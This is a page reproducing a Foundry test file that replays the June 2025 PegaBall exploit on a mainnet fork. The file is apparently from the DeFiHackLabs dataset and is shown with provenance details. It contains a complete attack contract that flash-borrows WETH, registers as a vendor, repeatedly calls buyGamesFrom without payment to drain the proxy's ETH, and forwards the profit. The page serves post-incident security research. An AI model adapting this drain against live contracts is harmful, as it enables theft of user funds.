Public reproduction file
src/test/2025-06/PegaBall_exp.sol
Public reproduction file for dataset entry PegaBall.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 1,512.85 USD8// Attacker : 0x28a8cB85d9d2C9ee536931De22Fe80e3EfEa3bD69// Attack Contract : 0x60cbAA2594B2494fce81444697F10701E7B78a3110// Vulnerable Contract : 0x29003DD6B9970AD658314fFFB61E42F352C4163011// Attack Tx : https://etherscan.io/tx/0x3cecc3f347edff1d27a0c929f2e7a4c04522afb3a74e24db94684cb6b51b1d6512//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x29003DD6B9970AD658314fFFB61E42F352C41630#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/122918//19// Attack summary: The attacker flash-borrowed WETH, registered as a PegaBall vendor, then repeatedly called20// buyGamesFrom(uint256) without paying msg.value, extracting vendor and referrer cuts from the proxy balance.21// Root cause: buyGamesFrom checked the buyer's ETH balance and self-funded the purchase via payable(this).call,22// rather than requiring the caller to send the ticket price as msg.value.24address constant ATTACKER = 0x28a8cB85d9d2C9ee536931De22Fe80e3EfEa3bD6;25address constant PEGA_BALL_PROXY = 0xB8fCABf7bd88A2489fAfBafA5f9A05a0e068cB5E;26address constant UNI_V2_WETH_USDT_PAIR = 0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852;27address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;29interface IPegaBall {30 function vendorRegistration(address referrer, address receiverWallet) external;31 function buyGamesFrom(32 uint256 amount33 ) external payable;34 function gamePrice() external view returns (uint256);35}37contract ContractTest is BaseTestWithBalanceLog {38 function setUp() public {39 uint256 forkBlock = 22_626_977;40 vm.createSelectFork("mainnet", forkBlock);42 vm.label(ATTACKER, "Attacker");43 vm.label(PEGA_BALL_PROXY, "PegaBall Proxy");44 vm.label(UNI_V2_WETH_USDT_PAIR, "Uniswap V2 WETH/USDT Pair");45 vm.label(WETH_TOKEN, "WETH");46 }48 function testExploit() public {49 uint256 attackerBalanceBefore = ATTACKER.balance;50 uint256 proxyBalanceBefore = PEGA_BALL_PROXY.balance;52 // step 1: run the attacker-controlled helper that performs the WETH flash swap and PegaBall calls.53 PegaBallAttack attackHelper = new PegaBallAttack(ATTACKER);54 attackHelper.execute();56 // step 2: assert that the same vulnerable buy path moved ETH from PegaBall to the attacker.57 uint256 attackerProfit = ATTACKER.balance - attackerBalanceBefore;58 assertGt(attackerProfit, 0.5 ether);59 assertLt(PEGA_BALL_PROXY.balance, proxyBalanceBefore);60 }61}63contract PegaBallAttack {64 address private immutable profitReceiver;66 constructor(67 address receiver68 ) {69 profitReceiver = receiver;70 }72 receive() external payable {}74 function execute() external {75 uint256 wethToBorrow = 0.7 ether;76 IUniswapV2Pair(UNI_V2_WETH_USDT_PAIR).swap(wethToBorrow, 0, address(this), abi.encode(address(this)));77 }79 function uniswapV2Call(address, uint256 amount0, uint256, bytes calldata) external {80 require(msg.sender == UNI_V2_WETH_USDT_PAIR, "unexpected callback");82 // step 3: unwrap the borrowed WETH and register the helper as a vendor with attacker payout routing.83 IWETH(payable(WETH_TOKEN)).withdraw(amount0);84 IPegaBall pegaBall = IPegaBall(PEGA_BALL_PROXY);85 pegaBall.vendorRegistration(address(this), profitReceiver);87 // step 4: drain repeated vendor/referrer cuts without sending msg.value for the ticket purchases.88 uint256 gamePrice = pegaBall.gamePrice();89 while (true) {90 uint256 amountFromProxyBalance = PEGA_BALL_PROXY.balance / gamePrice;91 if (amountFromProxyBalance <= 60) break;92 pegaBall.buyGamesFrom(amountFromProxyBalance - 1);93 }95 // step 5: repay the WETH flash swap using the historical helper's overpayment formula, then forward ETH.96 uint256 repayAmount = (amount0 * 1004) / 1000 + 1;97 IWETH(payable(WETH_TOKEN)).deposit{value: repayAmount}();98 IWETH(payable(WETH_TOKEN)).transfer(UNI_V2_WETH_USDT_PAIR, repayAmount);100 (bool success,) = payable(profitReceiver).call{value: address(this).balance}("");101 require(success, "profit transfer failed");102 }103}Analysis
Dataset entry
Public Foundry test for “PegaBall” (2025-06-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x28a8cb85d9d2c9ee536931de22fe80e3efea3bd6
- Attack Contract
0x60cbaa2594b2494fce81444697f10701e7b78a31
- Vulnerable Contract
0x29003dd6b9970ad658314fffb61e42f352c41630
- Attack Tx
0x3cecc3f347edff1d27a0c929f2e7a4c04522afb3a74e24db94684cb6b51b1d65
File record
- Name
- PegaBall
- Path
- src/test/2025-06/PegaBall_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 46acd4d1887e94f5e768d04fa34d0671f70893ae
- Language
- Solidity
- Size
- 104 lines
- Date
- 2025-06-03
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/PegaBall_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 46acd4d1887e94f5e768d04fa34d0671f70893ae, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.